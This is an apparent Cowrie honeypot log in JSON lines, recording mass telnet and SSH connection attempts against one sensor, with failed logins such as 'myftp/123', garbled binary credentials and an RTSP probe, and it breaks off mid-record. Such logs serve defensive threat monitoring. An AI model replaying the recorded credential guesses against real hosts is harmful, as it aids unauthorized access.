{"eventid":"cowrie.login.failed","username":"b'\\xf5\\x87&\\x03\\x90\\xbe\\xa7\\x1b\\xd7F\\x8f\\xb6\\xac\\x0bXXLh\\xd0\\xf6P\\x9dR\\r\\xa1\\xb0\\x93\\x94\\xc9\\xc7r\\x9b\\x7f\\x83\\xc1s\\xf9C'","password":"b\"13#\\xc7LN\\x1e!P\\\\V\\xa3'\\xa5\\xd9\\xfe-\\xe9\"","message":"login attempt [b'\\xf5\\x87&\\x03\\x90\\xbe\\xa7\\x1b\\xd7F\\x8f\\xb6\\xac\\x0bXXLh\\xd0\\xf6P\\x9dR\\r\\xa1\\xb0\\x93\\x94\\xc9\\xc7r\\x9b\\x7f\\x83\\xc1s\\xf9C'/b\"13#\\xc7LN\\x1e!P\\\\V\\xa3'\\xa5\\xd9\\xfe-\\xe9\"] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:55.711943Z","src_ip":"34.78.85.152","session":"9c58c7da6482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.431511163711548,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:55.818921Z","src_ip":"34.78.85.152","session":"ec4b30bc08eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":13790,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ecfd54e42ad","protocol":"telnet","message":"New connection: 34.78.85.152:13790 (159.203.135.109:23) [session: 4ecfd54e42ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:55.866614Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":13794,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b9e44312224","protocol":"telnet","message":"New connection: 34.78.85.152:13794 (159.203.135.109:23) [session: 3b9e44312224]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:56.022494Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":13808,"dst_ip":"159.203.135.109","dst_port":23,"session":"104537b3fd7e","protocol":"telnet","message":"New connection: 34.78.85.152:13808 (159.203.135.109:23) [session: 104537b3fd7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:56.178021Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":13814,"dst_ip":"159.203.135.109","dst_port":23,"session":"c59ce984513f","protocol":"telnet","message":"New connection: 34.78.85.152:13814 (159.203.135.109:23) [session: c59ce984513f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:56.333668Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":13818,"dst_ip":"159.203.135.109","dst_port":23,"session":"356ef30f1d14","protocol":"telnet","message":"New connection: 34.78.85.152:13818 (159.203.135.109:23) [session: 356ef30f1d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:56.490740Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54818,"dst_ip":"159.203.135.109","dst_port":23,"session":"952af90108ee","protocol":"telnet","message":"New connection: 128.199.8.54:54818 (159.203.135.109:23) [session: 952af90108ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:56.615610Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":13822,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d43bdbc74fb","protocol":"telnet","message":"New connection: 34.78.85.152:13822 (159.203.135.109:23) [session: 4d43bdbc74fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:56.646602Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":13838,"dst_ip":"159.203.135.109","dst_port":23,"session":"a730b55356bd","protocol":"telnet","message":"New connection: 34.78.85.152:13838 (159.203.135.109:23) [session: a730b55356bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:56.802263Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":13854,"dst_ip":"159.203.135.109","dst_port":23,"session":"0378e289ea9e","protocol":"telnet","message":"New connection: 34.78.85.152:13854 (159.203.135.109:23) [session: 0378e289ea9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:56.956356Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":13862,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaa4c83f956d","protocol":"telnet","message":"New connection: 34.78.85.152:13862 (159.203.135.109:23) [session: eaa4c83f956d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:57.191534Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":13866,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8878de5b488","protocol":"telnet","message":"New connection: 34.78.85.152:13866 (159.203.135.109:23) [session: f8878de5b488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:57.347695Z"}
{"eventid":"cowrie.session.closed","duration":0.00990152359008789,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:57.357471Z","src_ip":"34.78.85.152","session":"f8878de5b488","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":13878,"dst_ip":"159.203.135.109","dst_port":23,"session":"efd3b6f0defb","protocol":"telnet","message":"New connection: 34.78.85.152:13878 (159.203.135.109:23) [session: efd3b6f0defb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:57.511231Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":13886,"dst_ip":"159.203.135.109","dst_port":23,"session":"3817b20417c2","protocol":"telnet","message":"New connection: 34.78.85.152:13886 (159.203.135.109:23) [session: 3817b20417c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:57.665563Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":57228,"dst_ip":"159.203.135.109","dst_port":23,"session":"c7bffe312cc1","protocol":"telnet","message":"New connection: 34.78.85.152:57228 (159.203.135.109:23) [session: c7bffe312cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:57.822377Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":57238,"dst_ip":"159.203.135.109","dst_port":23,"session":"3019f950d87f","protocol":"telnet","message":"New connection: 34.78.85.152:57238 (159.203.135.109:23) [session: 3019f950d87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:57.980954Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":57248,"dst_ip":"159.203.135.109","dst_port":23,"session":"e02401fe724f","protocol":"telnet","message":"New connection: 34.78.85.152:57248 (159.203.135.109:23) [session: e02401fe724f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:58.137878Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":57256,"dst_ip":"159.203.135.109","dst_port":23,"session":"aef2d627fdd8","protocol":"telnet","message":"New connection: 34.78.85.152:57256 (159.203.135.109:23) [session: aef2d627fdd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:58.293022Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":57272,"dst_ip":"159.203.135.109","dst_port":23,"session":"05f12260b788","protocol":"telnet","message":"New connection: 34.78.85.152:57272 (159.203.135.109:23) [session: 05f12260b788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:58.447850Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":57286,"dst_ip":"159.203.135.109","dst_port":23,"session":"b89195b09119","protocol":"telnet","message":"New connection: 34.78.85.152:57286 (159.203.135.109:23) [session: b89195b09119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:58.606390Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":57302,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c3706e00b1e","protocol":"telnet","message":"New connection: 34.78.85.152:57302 (159.203.135.109:23) [session: 3c3706e00b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:58.765659Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:58.772466Z","src_ip":"34.78.85.152","session":"3c3706e00b1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":57316,"dst_ip":"159.203.135.109","dst_port":23,"session":"b754897bdb59","protocol":"telnet","message":"New connection: 34.78.85.152:57316 (159.203.135.109:23) [session: b754897bdb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:58.928344Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":57326,"dst_ip":"159.203.135.109","dst_port":23,"session":"b68d8dd56e96","protocol":"telnet","message":"New connection: 34.78.85.152:57326 (159.203.135.109:23) [session: b68d8dd56e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:59.088310Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":57336,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ed07cbc5c68","protocol":"telnet","message":"New connection: 34.78.85.152:57336 (159.203.135.109:23) [session: 6ed07cbc5c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:59.254053Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":57348,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8cff1461f48","protocol":"telnet","message":"New connection: 34.78.85.152:57348 (159.203.135.109:23) [session: d8cff1461f48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:59.410675Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":57350,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb0a0135a562","protocol":"telnet","message":"New connection: 34.78.85.152:57350 (159.203.135.109:23) [session: fb0a0135a562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:59.563919Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":57360,"dst_ip":"159.203.135.109","dst_port":23,"session":"abe5c6651f46","protocol":"telnet","message":"New connection: 34.78.85.152:57360 (159.203.135.109:23) [session: abe5c6651f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:59.719923Z"}
{"eventid":"cowrie.session.closed","duration":0.005299091339111328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:59.725060Z","src_ip":"34.78.85.152","session":"abe5c6651f46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":57362,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8648d8f7448","protocol":"telnet","message":"New connection: 34.78.85.152:57362 (159.203.135.109:23) [session: a8648d8f7448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:04:59.875695Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":57378,"dst_ip":"159.203.135.109","dst_port":23,"session":"e22948ad3cfe","protocol":"telnet","message":"New connection: 34.78.85.152:57378 (159.203.135.109:23) [session: e22948ad3cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:00.031688Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 8857","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 8857] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:00.037796Z","src_ip":"34.78.85.152","session":"e22948ad3cfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.78.85.152","src_port":57392,"dst_ip":"159.203.135.109","dst_port":23,"session":"955bb7453981","protocol":"telnet","message":"New connection: 34.78.85.152:57392 (159.203.135.109:23) [session: 955bb7453981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:00.191700Z"}
{"eventid":"cowrie.session.closed","duration":0.030340194702148438,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:00.221897Z","src_ip":"34.78.85.152","session":"955bb7453981","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.67572021484375,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:07.652438Z","src_ip":"128.199.8.54","session":"d85a683d322e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":42168,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e737920c8e3","protocol":"ssh","message":"New connection: 217.168.240.63:42168 (159.203.135.109:22) [session: 1e737920c8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:10.626376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:10.631566Z","src_ip":"217.168.240.63","session":"1e737920c8e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:10.767667Z","src_ip":"217.168.240.63","session":"1e737920c8e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.654711246490479,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.065293Z","src_ip":"34.78.85.152","session":"d8cff1461f48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.816349267959595,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.070287Z","src_ip":"34.78.85.152","session":"6ed07cbc5c68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.99233889579773,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.080474Z","src_ip":"34.78.85.152","session":"b68d8dd56e96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.15990400314331,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.088110Z","src_ip":"34.78.85.152","session":"b754897bdb59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.330948114395142,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.096432Z","src_ip":"34.78.85.152","session":"3c3706e00b1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.493393659591675,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.099656Z","src_ip":"34.78.85.152","session":"b89195b09119","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.655357599258423,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.103067Z","src_ip":"34.78.85.152","session":"05f12260b788","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.971189975738525,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.108860Z","src_ip":"34.78.85.152","session":"e02401fe724f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.818872690200806,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.111749Z","src_ip":"34.78.85.152","session":"aef2d627fdd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.134700059890747,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.115507Z","src_ip":"34.78.85.152","session":"3019f950d87f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.472282886505127,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.118956Z","src_ip":"34.78.85.152","session":"4d43bdbc74fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.300700187683105,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.122955Z","src_ip":"34.78.85.152","session":"c7bffe312cc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.61528468132019,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.126361Z","src_ip":"34.78.85.152","session":"efd3b6f0defb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.478189945220947,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.143619Z","src_ip":"34.78.85.152","session":"3817b20417c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.958305835723877,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.149705Z","src_ip":"34.78.85.152","session":"eaa4c83f956d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.196798086166382,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.153006Z","src_ip":"34.78.85.152","session":"0378e289ea9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.354463338851929,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.156579Z","src_ip":"34.78.85.152","session":"a730b55356bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.669310331344604,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.159905Z","src_ip":"34.78.85.152","session":"356ef30f1d14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.296879768371582,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.163324Z","src_ip":"34.78.85.152","session":"4ecfd54e42ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.832646369934082,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.166165Z","src_ip":"34.78.85.152","session":"c59ce984513f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.99159026145935,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.169281Z","src_ip":"34.78.85.152","session":"104537b3fd7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.15248966217041,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.174871Z","src_ip":"34.78.85.152","session":"3b9e44312224","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.47385835647583,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.178499Z","src_ip":"34.78.85.152","session":"9c58c7da6482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.172318696975708,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.203758Z","src_ip":"34.78.85.152","session":"e22948ad3cfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.334124088287354,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.209722Z","src_ip":"34.78.85.152","session":"a8648d8f7448","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.649515390396118,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.213293Z","src_ip":"34.78.85.152","session":"fb0a0135a562","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"myftp","password":"123","message":"login attempt [myftp/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:11.512772Z","src_ip":"217.168.240.63","session":"1e737920c8e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:12.653531Z","src_ip":"217.168.240.63","session":"1e737920c8e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.43296980857849,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:28.469071Z","src_ip":"172.81.62.90","session":"85cf37d7eabd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.5073401927948,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:05:51.122834Z","src_ip":"128.199.8.54","session":"952af90108ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":45204,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f44dd5eb5ec","protocol":"ssh","message":"New connection: 101.47.159.125:45204 (159.203.135.109:22) [session: 6f44dd5eb5ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:18.940122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:06:18.945511Z","src_ip":"101.47.159.125","session":"6f44dd5eb5ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","h